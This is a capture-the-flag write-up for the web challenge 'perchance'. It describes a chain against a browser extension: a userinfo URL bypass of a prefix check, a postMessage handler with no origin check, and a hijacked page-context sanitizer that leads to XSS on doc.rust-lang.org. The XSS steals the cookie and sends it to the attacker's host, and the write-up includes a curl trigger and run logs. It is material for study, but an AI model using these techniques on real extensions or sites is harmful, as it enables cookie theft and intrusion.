perchance

Missing trailing slash in a `startsWith` check (userinfo bypass), then a hardcoded extension UUID and an origin-less postMessage handler to steal `activateOn`

2026.09.30 NNS CTF 2026 131 pts Web
FLAG NNS{PerH4p5_y0U_Migh7_p05siBlY_3NJ0y_c7f5_P3RCH4nce}

FLAG: NNS{PerH4p5_y0U_Migh7_p05siBlY_3NJ0y_c7f5_P3RCH4nce}

Setup

POST /perchance with perchance=<url>; a headless Firefox (playwright + playwright-webextext) loads a bundled extension, gets a cookie flag on doc.rust-lang.org, path /stable/std/, httpOnly: false, SameSite=Strict, then page.goto(url) and waits 40s.

The extension injects assets/cs.js into any tab whose completed-navigation URL both startsWith(activateOn) (default https://doc.rust-lang.org/) and includes('https://doc.rust-lang.org/').

The key misread in the earlier pass

Previous notes assumed the innerHTML sink lived in options.js (a page nothing ever opens) and that the challenge was a js-xss sanitizer bypass. Both were wrong:

  • The sink is in cs.js itself (lines 3-5), rendering into the page DOM of doc.rust-lang.org — and that site sends no CSP, so inline handlers execute.

  • No sanitizer bypass is needed. cs.js deliberately runs the “sanitizer” in untrusted page context and then trusts its return value:

    const nonce = 'a' + crypto.randomUUID().replaceAll('-','');
    scr.textContent = `import ${nonce} from 'http://localhost:3000/jsxss.js';
                       window['${nonce}']=${nonce}`;
    document.body.appendChild(scr);          // runs in PAGE context
    ...
    window.wrappedJSObject[nonce](location.href)   // calls whatever the page put there

    Whoever controls the page controls window[nonce], so the “sanitized” value is arbitrary. (The file comment even says: “do not load dependencies in trusted context of the extension”.)

Chain

  1. Server-side prefix bugurl.startsWith('https://doc.rust-lang.org') has no trailing slash and no domain-boundary check. https://doc.rust-lang.org@<our-host>/ passes it, and Firefox navigates to our host (userinfo trick — no lookalike TLS cert needed). Verified: the bot fetched our page from an AWS-Ireland IP.
  2. web_accessible_resources: ["*"] + hardcoded extension UUID (pinned in browser.ts via extensions.webextensions.uuids) — our page iframes moz-extension://09a6c422-a354-447d-b4ea-185cb10be869/options.html.
  3. options.js postMessage handler has no origin checkupdateConfig sets activateOn = u.origin. Its includes('https://doc.rust-lang.org/') gate is satisfied by putting that literal in our own URL’s query string. We repoint activateOn to our origin.
  4. Add an iframe to <our-origin>/?sub=1&u=https://doc.rust-lang.org/onCompleted fires (subframe URLs count) → background injects cs.js into the top frame = our page.
  5. Hijack the sanitizer. Object.setPrototypeOf(Object.prototype, proxy) does not work — Object.prototype is an immutable-prototype exotic object (TypeError: can't set prototype of this object). Instead, a MutationObserver catches the <script> cs.js appends, reads the nonce straight out of its textContent, and assigns window[nonce] = () => payload. cs.js then stores our raw HTML as previous.
  6. postMessage again to restore activateOn = https://doc.rust-lang.org, then navigate the top frame to https://doc.rust-lang.org/stable/std/index.html.
  7. cs.js runs there: elm.innerHTML = \Previous: ${prev}`→ ourexecutes in doc.rust-lang.org page context →document.cookie` (httpOnly:false, path matches) → exfil.

Why the two navigations are required

previous is read at the start of cs.js and written at the end, so the payload must be stored by one cs.js run and rendered by a later one. Step 4 supplies the first run (on our page, where we control the sanitizer) and step 6-7 the second (on the flag origin).

Exploit

exploit/site.html (served over a cloudflared tunnel), fired with:

curl -X POST https://<instance>/perchance \
  -F "perchance=https://doc.rust-lang.org@<our-host>/"

Instrumented run (all stages logged): alivehook armedoptionsframe loadedpm1triggernonce a9a324c2...sanitizer_calledcsjs_ran=truepm2nav/FLAG?c=flag%3DNNS%7B...%7D.